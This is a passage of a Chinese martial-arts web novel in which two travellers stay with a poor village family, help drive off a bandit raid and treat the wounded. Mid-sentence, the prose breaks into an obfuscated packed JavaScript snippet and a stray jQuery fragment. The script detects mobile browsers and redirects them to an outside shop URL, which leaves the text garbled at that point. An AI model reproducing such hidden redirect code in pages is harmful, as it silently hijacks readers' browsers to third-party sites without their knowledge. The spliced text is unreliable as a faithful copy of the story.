“可以吃饭了,平乐你去叫爷爷回来。”平顺在厨房里吆喝了一声。屋后正劈柴的何平乐应了一声就往外跑去找他爷爷。
楼双燕见何平顺准备把桌子搬到院外,便上前,“我来吧。”
何平顺点点头,“谢谢。”又回屋去端菜上桌。
一屋子人都动起来,饭菜很快便在屋外摆好。此时正值夏暑,在外边吃饭,也正是为了借些晚风解暑。
不一会儿,何平乐就扶着何老叟回来了,等何老叟落座起筷,平顺平乐才动筷,桌上就两个菜,不见半点荤腥。
楼双燕和郑康心里也疑惑着为何不见平顺平乐的父母,又怕冒犯别人,不敢开口。又见何老叟家境清寒,也不忍再多吃他祖孙二人的,只是低头吃着碗中的白粥。
“我吃完了,爷爷慢些吃。我去替永叔的位置了。”平乐用袖子抹了抹嘴,待何老叟点头后就提着镰刀跑出去。
“我来洗碗吧。”楼双燕正接过平顺手中碗筷,突然听见郑康开口。
楼双燕也没多推让,点了头,和郑康一起把碗放至平顺刚倒出来的热水中。
“可有草木灰?”郑康问道。
“有的有的。”平顺连忙拿出来放在他手边,“还有丝瓜瓤。”
郑康点头,专心致志地洗着碗。一旁两个姑娘年纪相仿,很快就聊开了。
“最近世道不太平,平乐每天都急匆匆的,随便吃几口就走了。”何平顺和楼双燕坐在门前石阶上。
“他去做什么了?”楼双燕问道。
“值岗去了,早上的时候已经值过一岗,今晚可以早些回来。”平顺回答道,她有些忧愁,“匪盗猖獗,爷爷组织村子里青壮男子轮流站岗巡查,防着那群匪徒又来抢劫。”
“真可恶,你们官府不管管吗?”楼双燕试图从平顺口中探听出消息。
何平乐立马捂住楼双燕的嘴,“你在村子里说说就好了,在外边可千万别这样。我听说前些日子有个人在城里当街嚷嚷这事,第二天就人就没了。”
“竟然已经到了这种地步?”楼双燕大惊。
“这种官匪勾结的事情是怎么传出来的?不应该很隐秘的吗?”楼双燕问道。
“天底下没有不透风的墙。爷爷说早些年也不是没有剿匪的,可还没等官兵来,那些山匪头子就全跑了,只剩下十来个小的留在寨子里。好多次都是这样,这可不就是有人在官衙里知道了消息,提前告诉了那群山匪吗?”平顺说道。
“而且有人进城里报官,那些差役每次都点头说知道了,却始终不来山上剿匪。”平顺喝了杯水继续说道,“我们这荒郊野外的。”她叹了口气,“哪里有你们南州好?我听说南州很是富饶,歌舞升平的,是不是真的?”
“逢年过节的时候确实很热闹。”楼双燕点点头,“可这里也有南州没有的好处,我在南州可从来没见过这么高峻的山峰呢。”楼双燕抬手指了指远处的高山。
“那是天峰山,传说以前这里有妖怪作恶,天上的神仙听到了村民的祷告,就降下一座大山来镇压它们。后来人们就把那山叫做天峰山了。”平顺分享着自己以前听过的故事,“什么时候能有神仙再赐予一座山来把那些山匪通通抓住呢?”
楼双燕轻轻拍了拍平顺的背,若是没有官兵出力,又怎么能剿灭一窝山匪,“等我进明州时,一定仔细打探消息,到时候我带了证据,就去上报府尹,一定要把黑官、山匪通通抓了。”
到时候她要夜探刺史府,必须把证据都找出来。
“好,你一路上要小心,我们全靠你了。”平顺很是感动,想起因山匪丧命的父母,她忍不住哭泣。
“怎么了?”楼双燕忙给平顺拭泪。
“若是你早些来,我爹娘就不会因山匪丧命了。”平顺眼睛通红,父母、叔婶、兄姐,她已经记不清多少亲人死在山匪手上。
楼双燕抱住她,“你放心,有我呢,我给你报仇。”楼双燕下定决心,绝对不可以放过这些山匪。
平顺哭了好一会,直到她抬头看了看天,“哎呦,都聊了这么久了。”她急忙起身擦掉眼泪,拍了拍衣裳,“我还要煮些茶水给值夜的叔伯送去。”
郑康怕打扰两个姑娘就一直在屋里坐着,如今见她们又开始忙,便也跟去了厨房。
三个人一块干活,效率都高了不少。不一会儿就熬好了一大桶茶。平顺不愿意再让楼双燕和郑康跟着忙活,死死抓住桶,不让她们经手,“我去就好了,你们在家待着。”
楼双燕也拗不过她,只好替她开门,送平顺出去。
晚些时候,平顺和平乐就一起回来了,几个人收拾了一圈就回屋睡去。
床不大,也幸好何平顺和楼双燕两个人都不算壮硕,挨得紧些,也还能睡。
半梦半醒间楼双燕突然听见有人大喊,“山匪来了!”她立马惊醒,坐起来一看,外边烽火也点燃了。
楼双燕和平顺立马起身,出了房门,何平乐和老叟手上已经抄好了家伙。
老叟大喊:“平顺快去叫醒村里的老人和小孩,带着他们一起躲好。”
平顺应了一声,拉起楼双燕的手,“我们快走。”
“我和郑康都习过武的,我们可以帮忙打山匪。”楼双燕摇摇头,从包裹里拿出长刀。
“既然如此那就快走吧。”老叟招呼着,四个人便急忙往村口跑去。
楼双燕和郑康都练过轻功,转眼间就跑到了最前边。
来了不少山匪,幸好村子坐拥天险,地形崎岖,堵住缺口,还能抵挡得住。
楼双燕飞身而上,一脚狠狠踹开一个正围攻村民的匪徒。左劈右砍着对付着那群山匪。转眼间就三四个匪徒就连连倒下。
郑康从军多年,这种场面他也见得不少。不把这群山匪赶走,村子就要遭殃了。他横枪一扫,朝匪徒刺去。
村民们见有人相助,信心倍增,又对山匪有着深仇大恨,他们紧紧握住手中武器,拼命抵挡攻击。
“不好!”匪徒大喊,“今夜局势不妙,快
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720509|208619||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
撤!”
匪徒且战且退,村民乘胜追击,直到将山匪彻底赶出村子。
“好了,受伤的待在这,我待会看看。再留几个人下来,一半继续守村,一半去打扫。”老叟到底年纪大了,靠在身后墙上,有些疲惫,“其他的人去村子各处仔细搜查,不要放过一个角落,放过一个山匪。再找几个去看看老弱妇孺怎么样了。”
平乐想去扶起爷爷,看看他的状况。老叟却将他推开,“去拿些药来。”
“好。”何平乐点点头,马上跑回去家去
“我也回去拿药箱。”楼双燕看了看剩下的伤者,连忙跑回去拿药。
她心里着急,用了轻功,只求快些回去,不一会儿就超过了平乐。郑康见状,知她肯定要用水,找人借了桶,就去井边打水。
“来了来了。”楼双燕不仅拿了自己的药箱,还带上了平乐帮老叟拿的药。她放好东西,舀了一勺水把手洗干净。
“你先来,你先来。”楼双燕一眼看见倒在地上的汉子,腿上被刀拉了一道口子,血淋淋的,一旁的村民正拿着衣服给他止血。
楼双燕从箱子里掏出干净的布,“来,用这个。”楼双燕替换下那个村民。
老叟也跟了上来,“草木灰。”他递给楼双燕,又回头让人去烧些黄酒来。
那汉子的血终于止住了,楼双燕用酒给他冲洗,重新上药。再让郑康把这人扶回屋去避风。
楼双燕又忙回头,给下个人处理,老叟和村民都很配合,模仿着楼双燕的动作给同伴处理伤口。
楼双燕脸上已经蒙上一层汗,几乎要把眼睛粘住。郑康刚帮一个人包扎好,回头看见楼双燕满脸是汗,“快擦一下。”他留下一句话和一块手帕,就又忙去照顾下个村民。
忙了很久,才终于处理好众人的伤口。“多谢二位今天出手,不然我们怎么能这么轻易地击退那群悍匪。”老叟拱手道谢。
“客气了。路见不平,自然该拔刀相助。”楼双燕回道,“更何况你老人家还收留了我们,村子出了什么事,我们也会遭殃。”
“辛苦了,快回去休息。不然天又该亮了。”经此一事,老叟对二人深深佩服。
“好。”三人一同回去。
平顺已经回来了,“爷爷你还好吧。”她听了动静,马上上前。
“没事没事,你回去睡吧。”老叟安慰着孙女。“你做得很好,有你带着村里的老弱,爷爷很放心。”
平顺听了夸赞很是高兴,一出了事,她就带着村里的老人小孩躲起来,老人走不动了,她要背着。孩子哭了,她也要帮忙哄着。有了这样的姑娘在后边帮忙,前面的人也才能放心抵抗山匪。
楼双燕和平顺一起回房,换下了沾血的衣服。平顺已经听说了今晚楼双燕的英勇,“你把衣服放在那就好,我明天帮你洗了。”平顺把楼双燕拉过来,“你快睡吧,今天真是多亏了你。”
“好。”楼双燕已经听不清平顺在说什么了,刚躺下就合了眼,昏昏睡去。